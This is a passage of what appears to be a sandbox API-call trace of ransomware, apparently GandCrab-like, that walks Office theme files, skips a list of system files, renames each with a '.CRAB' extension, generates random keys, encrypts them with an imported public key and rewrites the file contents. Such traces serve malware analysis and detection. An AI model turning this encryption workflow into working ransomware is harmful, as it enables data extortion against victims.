	[0113.586] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda3ea0) returned 1
	[0113.586] CryptGetKeyParam (in: hKey=0xda3ea0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.586] CryptEncrypt (in: hKey=0xda3ea0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0113.586] GetLastError () returned 0x0
	[0113.586] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0113.586] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6ed98) returned 1
	[0113.587] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda4020) returned 1
	[0113.587] CryptGetKeyParam (in: hKey=0xda4020, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.587] CryptEncrypt (in: hKey=0xda4020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0113.587] GetLastError () returned 0x0
	[0113.587] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0113.587] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457464[[fn=dividend]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0113.588] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.588] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.589] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x8b615, lpOverlapped=0x0) returned 1
	[0113.673] VirtualAlloc (lpAddress=0x0, dwSize=0x8b620, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.690] VirtualAlloc (lpAddress=0x0, dwSize=0x8b620, flAllocationType=0x3000, flProtect=0x4) returned 0x33f0000
	[0113.705] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.706] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff749eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.706] WriteFile (in: hFile=0x3fc, lpBuffer=0x33f0000*, nNumberOfBytesToWrite=0x8b620, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33f0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8b620, lpOverlapped=0x0) returned 1
	[0113.707] VirtualFree (lpAddress=0x33f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.709] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.712] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.712] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.712] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0113.712] CloseHandle (hObject=0x3fc) returned 1
	[0113.723] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.723] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.724] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.724] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.724] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.725] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.725] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.725] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2=".") returned 1
	[0113.725] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="..") returned 1
	[0113.725] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx"
	[0113.725] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.725] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129
	[0113.725] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129
	[0113.725] lstrlenW (lpString=".thmx") returned 5
	[0113.725] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.726] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0113.726] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129
	[0113.726] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="desktop.ini") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="autorun.inf") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="ntuser.dat") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="iconcache.db") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="bootsect.bak") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="boot.ini") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="ntuser.dat.log") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="thumbs.db") returned 1
	[0113.726] lstrcmpiW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0113.726] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.727] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB") returned 134
	[0113.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457475[[fn=frame]].thmx")) returned 0x20
	[0113.728] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx", dwFileAttributes=0x20) returned 1
	[0113.728] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457475[[fn=frame]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457475[[fn=frame]].thmx.crab")) returned 1
	[0113.729] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0113.729] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB"
	[0113.729] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB.CRAB"
	[0113.729] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.730] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.730] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.731] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.731] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0113.731] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.731] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.731] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e6b0) returned 1
	[0113.731] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.732] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.732] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.732] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0113.732] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0113.732] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.732] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.733] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.733] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0113.733] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda40a0) returned 1
	[0113.733] CryptGetKeyParam (in: hKey=0xda40a0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.733] CryptEncrypt (in: hKey=0xda40a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0113.734] GetLastError () returned 0x0
	[0113.734] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0113.734] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6eb78) returned 1
	[0113.734] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0xda40e0) returned 1
	[0113.734] CryptGetKeyParam (in: hKey=0xda40e0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0113.734] CryptEncrypt (in: hKey=0xda40e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0113.735] GetLastError () returned 0x0
	[0113.735] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0113.735] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457475[[fn=frame]].thmx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0113.736] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.736] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.736] ReadFile (in: hFile=0x3fc, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x3147f2c*=0x7fb28, lpOverlapped=0x0) returned 1
	[0113.811] VirtualAlloc (lpAddress=0x0, dwSize=0x7fb30, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.816] VirtualAlloc (lpAddress=0x0, dwSize=0x7fb30, flAllocationType=0x3000, flProtect=0x4) returned 0x33e0000
	[0113.825] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.827] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xfff804d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.827] WriteFile (in: hFile=0x3fc, lpBuffer=0x33e0000*, nNumberOfBytesToWrite=0x7fb30, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x33e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x7fb30, lpOverlapped=0x0) returned 1
	[0113.829] VirtualFree (lpAddress=0x33e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.831] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.836] WriteFile (in: hFile=0x3fc, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.836] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0113.836] WriteFile (in: hFile=0x3fc, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0113.836] CloseHandle (hObject=0x3fc) returned 1
	[0113.844] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.845] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.845] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.845] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.845] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.846] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.846] FindNextFileW (in: hFindFile=0xda3e20, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0113.846] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2=".") returned 1
	[0113.846] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="..") returned 1
	[0113.846] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx"
	[0113.846] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.846] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128
	[0113.846] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128
	[0113.846] lstrlenW (lpString=".thmx") returned 5
	[0113.846] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.847] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".thmx ") returned 6
	[0113.847] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.847] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128
	[0113.847] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="desktop.ini") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="autorun.inf") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="ntuser.dat") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="iconcache.db") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="bootsect.bak") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="boot.ini") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="ntuser.dat.log") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="thumbs.db") returned 1
	[0113.847] lstrcmpiW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0113.847] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0113.847] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB") returned 133
	[0113.847] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457485[[fn=mesh]].thmx")) returned 0x20
	[0113.848] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx", dwFileAttributes=0x20) returned 1
	[0113.849] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457485[[fn=mesh]].thmx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\managed\\document themes\\1033\\tm03457485[[fn=mesh]].thmx.crab")) returned 1
	[0113.850] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0113.850] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB"
	[0113.850] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx.CRAB.CRAB"
	[0113.850] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.850] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.851] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.851] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.851] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0113.851] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.851] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.851] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0113.852] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.852] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.852] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.852] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0113.852] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.852] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.853] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.853] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.853] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
